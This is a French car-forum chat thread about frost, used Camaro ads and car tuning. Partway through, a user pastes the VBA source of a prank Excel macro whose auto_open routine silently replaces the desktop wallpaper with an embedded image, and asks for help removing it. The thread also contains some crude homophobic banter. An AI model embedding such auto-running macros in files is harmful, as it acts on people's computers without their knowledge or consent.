Le TROMBISTROT de Seat [le topic le plus bordelique de FA]

[delph_gre]

coucou. ben voilà premier gratte gratte ce matin. 1° à la maison et -1 au boulot

 

 

Première neige et -1 ce matin "dans ton pays"

[anthol3g33k]

HOlla !!

 

Non, ce midi week end Antho ! :d

 

 

Chance :o

 

M'en fou, demain je vais chez VW...

[Invité §Dor032Ek]

 

Chance :o

 

M'en fou, demain je vais chez VW...

 

 

 

Tu va craquer

[willow41]

Mon petit frère craquera t-il ?

 

http://www.leboncoin.fr/voitur [...] tm?ca=20_s

[kakarinette]

Halalala... 1er gelé...

Fait froid dans l'sud !!!!!

 

J'attend les 1er gelé dans l'Poitou pour voir si le préau protègera bien la voiture... pas envie de gratter

 

Et dire que tu as un garage !!!!!!!!

oui j'ai un garage mais le seul hiver où j'y ai mis ma voiture, j'ai pris des souris...

[tchoufout]

Mon petit frère craquera t-il ?

 

http://www.leboncoin.fr/voitur [...] tm?ca=20_s

Celle ci est encore moins chère et moins kilométrée

http://www.leboncoin.fr/voitures/549039874.htm?ca=15_s

[willow41]

kakarinette... Oui c'est vrai, je m'en souviens...

Trouve un chat !!!!!! J'en ais eu aussi, sont pas montées dans le moteur... je met des tapettes au sol !!!!!!....

 

 

tchoufout, on s'en fou, c'est un V6... on cherche un V8 !!!!!

recherche avec Z28 dans l'annonce !!!

cela dit pour un V6 c'est chère

[tchoufout]

Je m'en suis rendu compte après avoir posté C'est pas une Z28

[willow41]

Les Z28 sont plus rare, surtout en boite méca !!!!! :/

[telemnar]

Bonjour

Mon petit frère craquera t-il ?

 

http://www.leboncoin.fr/voitur [...] tm?ca=20_s

 

Bah franchement je craquerai pas la.ligne n est franchement pas séduisante, les roues font minuscules comparé à la.voiture. La seule chose bien c est le moteur.

[anthol3g33k]

 

 

Tu va craquer

 

 

Dans ma tête j'ai déjà craqué, maintenant, c'est le prote-monnaie que je dois faire craquer

[telemnar]

Si tu craques, tu vas mettre.la.prépa de la cupra en standby?

[willow41]

Les roues ça se changent...

ce sont des 245 dessus mais tu peux monter plus haut en passant en 17 pouces...

 

Mais bon les petites roues, c'est quand même typiques des américaines (bon plus maint'nant) mais quand on regarde les anciennes américaines de fin 60, ou 70, c'était du 14 voir 13 pouces... Donc le 16 pouces fin 90 c'était pas si mal !!!!!!

 

La ligne c'est une question de gout... mais point de vue sensation et plaisir de conduire, elle est vraiment au top...

[willow41]

regarde cette roue :

 

http://www.sunsetclassics.com/1970-dodge-charger-rt/images/1970-dodge-charger-rt.jpg

 

Pourtant tout l'monde adore les viennes Ricaines, on ne leur reproche pas la taille de leurs jantes !!!

[telemnar]

Faut prévoir le prix des jantes et pneus...

Quand tu vois la taille du paquebot et les roulettes, y a un problème c'est pas homogène.

Autre exemple, une bx gti ca marchait très bien sauf que la.ligne.c était pas ça.

[willow41]

C'est pas que c'est pas homogène, on est trop habitué à voir des voitures au roue surdimentionné.

Quand je vois une Ibiza FR TSI 105 avec des 215 désolé, mais ça me fait doucement rire...

 

Ensuite la ligne je te l'accorde, on adhère ou on adhère, pas, c'est une question de gout

 

Perso..... j'aime

[anthol3g33k]

Si tu craques, tu vas mettre.la.prépa de la cupra en standby?

 

 

Bah la prépa est presque terminée!

 

Faut juste que je change les freins (Il me manque juste disques+plaquettes pour l'arrière)

 

Et quand l'embrayage lâchera, j'en mettrais un renforcé!

 

Et je mettrais des B14 à l'occasion

[Invité §oli322Ra]

Bonjour

J'ai froid

Aurevoir

[biker521]

 

il pleut

 

je reste dedans jusqu'à ce soir ...

[willow41]

dedans qui ?

[Invité §Dor032Ek]

Bonjour

J'ai froid

Aurevoir

 

 

tu veux pas un calin pour te réchauffer ?

[telemnar]

Payday

[Invité §oli322Ra]

Faut lui trouver un caniche.

[automeca]

Dorian est homo?

[delph_gre]

Dorian est homo?

 

 

Si on l'appelle Dora l'exploratrice, c'est qu'il y a une raison

[kakarinette]

laissez ma dorade tranquille

[biker521]

dedans qui ?

 

 

dans mon bureau

 

je sors que pour aller chercher à boire ...

 

Si on l'appelle Dora l'exploratrice, c'est qu'il y a une raison :vanthian:1

 

on boirait pas un petit truc sympa, à cette heure-là ?

[Invité §TSI666eC]

Matinée de merde, 105€ pour 15min de consultation, en plus être sur le siège de droite dans la voiture ça me soule

 

Bref, à lire pour tous ceux qui ont un peu d'argent de côté

 

http://www.leparisien.fr/econo [...] 214015.php

 

Yeh

[automeca]

 

Si on l'appelle Dora l'exploratrice, c'est qu'il y a une raison

 

laissez ma dorade tranquille

[Invité §Dor032Ek]

[Invité §Dor032Ek]

Matinée de merde, 105€ pour 15min de consultation, en plus être sur le siège de droite dans la voiture ça me soule

 

Bref, à lire pour tous ceux qui ont un peu d'argent de côté

 

http://www.leparisien.fr/econo [...] 214015.php

 

Yeh

 

 

je suis en train de me tater entre mettre une fermeture éclair sur mon matelas ou un coffre dans la cave...

[Invité §bab076Cw]

Salut à tous

 

est-ce qu'un informaticien peut m'aider svp ?

Une collègue a ouvert un truc pourri (pas censés s'ouvrir automatiquement les macros d'ailleurs :q ) et elle a un couple de gay en train de se pecho quand elle locke son ecran. Quelqu'un peut me dire ou c'est sauvé ce fichier pourri ? Merci

 

(le code en spoiler)

 

 

 

 

Option Explicit

Private Declare Function OpenClipboard Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Integer) As Long

Private Declare Function CloseClipboard Lib "user32" () As Long

Private Declare Function CopyImage Lib "user32" (ByVal hImage As Long, ByVal uType As Long, ByVal PixelWidth As Long, ByVal PixelHeight As Long, ByVal Flags As Long) As Long

Private Declare Function OleCreatePictureIndirect Lib "olepro32.dll" (pPictDesc As PictDesc, riid As Guid, ByVal fOwn As Long, ppvObj As IPicture) As Long

 

Private Const SPI_SETDESKWALLPAPER = 20

Private Const SPIF_SENDWININICHANGE = &H2

Private Const SPIF_UPDATEINIFILE = &H1

 

Private Declare Function SystemParametersInfo Lib "user32" _

Alias "SystemParametersInfoA" (ByVal uAction As Long, _

ByVal uParam As Long, ByVal lpvParam As Any, _

ByVal fuWinIni As Long) As Long

 

 

 

Type Guid

Data1 As Long

Data2 As Integer

Data3 As Integer

Data4(0 To 7) As Byte

End Type

Type PictDesc

cbSizeofStruct As Long

picType As Long

hImage As Long

xExt As Long

yExt As Long

End Type

 

Private Const BLOCK_SIZE = 16384

Private Const CF_BITMAP = 2

Private Const S_OK As Long = &H0

Private Const LR_COPYRETURNORG = &H4

 

Sub auto_open()

 

SetWallpaperByOLEObject

desktopshow

 

End Sub

 

Public Sub SetWallpaperByOLEObject()

Dim sFile As String

sFile = Environ("temp" & "\Wallpager.bmp"

SaveObjectPictureToFile Worksheets("Sheet1").OLEObjects(2), sFile

SetWallpaper sFile

End Sub

 

 

Public Sub SetWallpaper(ByVal FileName As String)

 

Dim ret As Long

ret = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0&, FileName, SPIF_SENDWININICHANGE Or SPIF_UPDATEINIFILE)

 

End Sub

 

'http://social.msdn.microsoft.com/Forums/en-US/isvvba/thread/0800dca4-3222-4c21-8b6d-5b473d45f093/

 

 

 

 

Function IPictureFromCopyPicture(Source As Object, Optional StretchWidth As Single, Optional StretchHeight As Single) As IPictureDisp

Dim hBmp As Long

Dim PictDesc As PictDesc

Dim IDispatch As Guid

Dim SaveWidth As Single

Dim SaveHeight As Single

Dim PicIsRng As Boolean

If StretchWidth <> 0 Or StretchHeight <> 0 Then

If TypeOf Source Is Range Then

Source.CopyPicture

ActiveSheet.PasteSpecial "Picture (Enhanced Metafile)"

Set Source = Selection

PicIsRng = True

End If

SaveWidth = Source.Width

SaveHeight = Source.Height

Source.Width = IIf(StretchWidth = 0, Source.Width, StretchWidth)

Source.Height = IIf(StretchHeight = 0, Source.Height, StretchHeight)

Source.CopyPicture xlScreen, xlBitmap

If PicIsRng Then

Source.Delete

Else

Source.Width = SaveWidth

Source.Height = SaveHeight

End If

Else

Source.CopyPicture xlScreen, xlBitmap

End If

 

If OpenClipboard(0) <> 0 Then

hBmp = GetClipboardData(CF_BITMAP)

hBmp = CopyImage(hBmp, 0, 0, 0, LR_COPYRETURNORG)

CloseClipboard

If hBmp <> 0 Then

With IDispatch

.Data1 = &amp;H20400

.Data4(0) = &amp;HC0

.Data4(7) = &amp;H46

End With

With PictDesc

.cbSizeofStruct = Len(PictDesc)

.picType = 1

.hImage = hBmp

End With

If OleCreatePictureIndirect(PictDesc, IDispatch, False, IPictureFromCopyPicture) <> S_OK Then

Set IPictureFromCopyPicture = Nothing

End If

End If

End If

End Function

 

Function SaveObjectPictureToFile(ByVal Source As Object, FileName As String, Optional StretchWidth As Single, Optional StretchHeight As Single) As Boolean

Dim Ipic As IPictureDisp

Set Ipic = IPictureFromCopyPicture(Source, StretchWidth, StretchHeight)

If Not Ipic Is Nothing Then

SavePicture Ipic, FileName

SaveObjectPictureToFile = True

End If

End Function

 

 

[automeca]

[Invité §flj563MB]

¨

tous.

 

Ayé, l' hiver arrive ... enfin.

[Invité §Dor032Ek]